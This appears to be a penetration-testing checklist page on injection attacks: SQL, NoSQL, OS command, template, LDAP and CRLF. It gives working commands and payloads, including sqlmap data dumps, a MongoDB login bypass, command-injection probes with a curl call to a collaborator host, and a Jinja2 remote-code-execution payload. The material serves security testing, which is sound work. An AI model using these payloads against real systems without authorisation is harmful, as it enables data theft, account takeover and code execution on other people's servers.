Injection Attacks

Exploitation HIGH v1.0.0 updated 2026-06-17

Test for SQL injection, NoSQL injection, command injection, template injection (SSTI), LDAP injection, and other server-side injection flaws.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/injection-testing

// checklist steps

inj-01

Detect SQL injection with error-based and blind techniques

Test all input parameters for SQL injection using error-based, boolean-blind, and time-based blind techniques to identify injectable points.

sqlmap -u 'https://target.com/page?id=1' --batch --level=3 --risk=2 --random-agent
sqlmap -u 'https://target.com/page?id=1' --batch --technique=T --time-sec=5
# Manual error-based test
curl -sk 'https://target.com/page?id=1%27%20OR%201=1--'

Start with GET parameters, then test POST body, cookies, and HTTP headers. Use --level=3 in sqlmap to test cookies and User-Agent automatically.

inj-02

Exploit SQL injection with UNION-based extraction

Determine column count and extract data using UNION SELECT queries when error-based or in-band injection is confirmed.

sqlmap -u 'https://target.com/page?id=1' --batch --technique=U --dump --threads=5
# Manual UNION column count
curl -sk 'https://target.com/page?id=1+UNION+SELECT+NULL,NULL,NULL--'
# Extract database version
curl -sk 'https://target.com/page?id=1+UNION+SELECT+1,@@version,3--'

Use ORDER BY to find column count before UNION. Always identify the data types expected in each column position to avoid type mismatch errors.

inj-03

Test NoSQL injection with MongoDB operator injection

Test for NoSQL injection in MongoDB-backed applications by injecting query operators into JSON parameters and URL-encoded inputs.

# Operator injection via JSON
curl -sk -X POST 'https://target.com/api/login' -H 'Content-Type: application/json' -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# URL-encoded operator injection
curl -sk 'https://target.com/api/users?username[$regex]=admin.*&password[$regex]=.*'
# Test $where clause injection
curl -sk -X POST 'https://target.com/api/search' -H 'Content-Type: application/json' -d '{"$where": "this.username == \"admin\""}'

NoSQL injection often works through JSON request bodies. Look for endpoints that accept complex objects and test with MongoDB operators like $gt, $ne, $regex, and $where.

inj-04

Test OS command injection with chaining and out-of-band techniques

Test parameters that may interact with system commands for injection using command separators, backticks, and out-of-band payloads.

commix -u 'https://target.com/ping?host=target.com' --batch
# Test common separators
curl -sk 'https://target.com/ping?host=target.com;id'
curl -sk 'https://target.com/ping?host=target.com|whoami'
curl -sk 'https://target.com/ping?host=$(curl+collaborator.net)'
nuclei -u https://target.com -t vulnerabilities/generic/oast/ -iserver interact.sh

If output is not visible, use out-of-band techniques with curl, nslookup, or ping to your collaborator server to confirm execution. Test both Linux and Windows separators.

inj-05

Test server-side template injection (SSTI)

Identify the template engine in use and craft engine-specific payloads to achieve remote code execution via template injection.

# Detect template engine with polyglot probe
curl -sk 'https://target.com/page?name={{7*7}}'
curl -sk 'https://target.com/page?name=${7*7}'
tplmap -u 'https://target.com/page?name=test'
# Jinja2 RCE payload
curl -sk 'https://target.com/page?name={{config.__class__.__init__.__globals__["os"].popen("id").read()}}'

Use the SSTI decision tree — test {{7*7}}, then {{7*'7'}} to distinguish Jinja2 (returns 7777777) from Twig (returns 49). Each engine has unique RCE gadgets.

inj-06

Test LDAP injection and CRLF header injection

Test authentication and search forms for LDAP injection, and HTTP inputs for CRLF injection enabling header manipulation or response splitting.

# LDAP injection bypass
curl -sk -X POST 'https://target.com/login' -d 'username=admin)(%26)&password=anything'
curl -sk -X POST 'https://target.com/login' -d 'username=*)(uid=*))(|(uid=*&password=anything'
# CRLF injection test
curl -sk 'https://target.com/redirect?url=http://target.com%0d%0aSet-Cookie:+hacked=true'
nuclei -u https://target.com -t vulnerabilities/generic/crlf-injection.yaml

LDAP injection often appears in login forms and directory search features. For CRLF, check any parameter whose value ends up in response headers — redirects and Set-Cookie operations are common vectors.

Overview

Injection attacks exploit insufficient input validation to execute attacker-controlled commands or queries within a server-side interpreter. They consistently rank among the most critical web vulnerabilities, with SQL injection alone responsible for countless data breaches.

Testing approach

Start by identifying injection surfaces — any parameter that feeds into a database query, system command, template engine, or directory service. Then systematically test each surface with context-appropriate payloads, escalating from detection to data extraction or code execution.

Engine-specific payloads

Template injection and SQL injection payloads differ significantly between engines. Always fingerprint the backend technology (database type, template engine, OS) before selecting your exploitation payloads — a PostgreSQL injection technique will not work against MySQL.

// references

← All checklists JSON ↗